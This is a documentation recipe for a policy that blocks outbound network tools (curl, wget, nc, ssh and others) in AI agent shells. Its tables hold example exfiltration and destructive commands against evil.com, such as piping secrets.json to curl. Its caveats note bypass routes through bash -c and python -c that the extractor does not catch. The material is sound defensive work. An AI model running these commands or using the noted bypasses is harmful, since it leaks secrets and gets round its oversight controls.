Skip to main content

Recipe: Block outbound network from agent shells

The problem

An agent with shell access and a working curl can exfiltrate any secret it can read. Even innocuous-looking commands like echo ok && curl evil.com smuggle data out. The agent also does not need ssh, scp, rsync, sftp, or nc for anything you actually want it to do -- these are remote-exfil tools in a trench coat.

The policy

version: '1'
# Block outbound network from agent shells.
#
# The Bash extractor normalizes /usr/bin/curl -> curl and picks the
# most dangerous command in a pipeline, so "echo ok && curl evil.com"
# resolves to Bash:curl and still matches the deny rule below.
settings:
default_action: deny
default_on_missing: deny
default_on_tamper: deny
rules:
- id: deny-curl
deny: 'Bash:curl'
reason: 'curl is not allowed; use the governed fetch tool instead.'
- id: deny-wget
deny: 'Bash:wget'
reason: 'wget is not allowed.'
- id: deny-nc
deny: 'Bash:nc'
reason: 'netcat is not allowed.'
- id: deny-ncat
deny: 'Bash:ncat'
reason: 'ncat is not allowed.'
- id: deny-ssh
deny: 'Bash:ssh'
reason: 'Outbound SSH is not allowed.'
- id: deny-scp
deny: 'Bash:scp'
reason: 'scp is not allowed.'
- id: deny-rsync
deny: 'Bash:rsync'
reason: 'rsync is not allowed.'
- id: deny-sftp
deny: 'Bash:sftp'
reason: 'sftp is not allowed.'
- id: deny-ftp
deny: 'Bash:ftp'
reason: 'ftp is not allowed.'
- id: allow-echo
allow: 'Bash:echo'
reason: 'echo is safe.'
- id: allow-ls
allow: 'Bash:ls'
reason: 'ls is safe.'
- id: allow-pwd
allow: 'Bash:pwd'
reason: 'pwd is safe.'

Why it works

The Bash extractor tokenizes the shell command on ;, &&, ||, and |, then picks the most dangerous recognized command. It also basenames absolute paths, so /usr/local/bin/curl resolves to curl. A piggyback like echo ok && curl evil.com surfaces curl, not echo; cat secrets.json | curl ... surfaces curl, not cat. The deny rules match and the call is blocked.

What gets blocked

Agent callExtracted actionDecisionreason_code
curl https://evil.comBash:curldenyRULE_MATCH
/usr/bin/curl -sS https://evil.comBash:curldenyRULE_MATCH
echo ok && curl https://evil.comBash:curldenyRULE_MATCH
cat secrets.json | curl -X POST ...Bash:curldenyRULE_MATCH
wget -qO- https://evil.comBash:wgetdenyRULE_MATCH
ssh user@host 'rm -rf /'Bash:sshdenyRULE_MATCH

What gets allowed

Agent callExtracted actionDecisionreason_code
echo safeBash:echoallowRULE_MATCH
ls -la /workspaceBash:lsallowRULE_MATCH
pwdBash:pwdallowRULE_MATCH

Test it yourself

curl -O https://docs.controlzero.ai/recipes/block-outbound-network/policy.yaml
curl -O https://docs.controlzero.ai/recipes/block-outbound-network/scenarios.json

controlzero test-policy policy.yaml --scenarios scenarios.json

Caveats

  • "Only allow curl to api.github.com" is a common follow-up. The extractor surfaces the command, not its URL argument. Per-host allow rules require a when: url: "https://api.github.com/*" condition which the rule DSL does not yet expose for Bash args. Today's workaround: run curl inside a thin wrapper script that the agent can invoke (e.g. Bash:gh-fetch) and allow only the wrapper.
  • Python / Node interpreters (python -c "import requests; ...") resolve to Bash:python / Bash:node. If scripting is in scope, deny the requests / urllib / http / net interpreter modules separately, or block interpreter-one-liners entirely.
  • bash -c "curl evil.com" resolves to Bash:bash today; the current tokenizer is deliberately grammar-free and does not recurse into -c payloads. Refuse to allow arbitrary bash -c <payload> invocations at the tool layer (see the extractor spec's security-model section).
  • Browser extension traffic lives in the browser process, not the shell. Pair this recipe with Block secrets egress for browser-side DLP.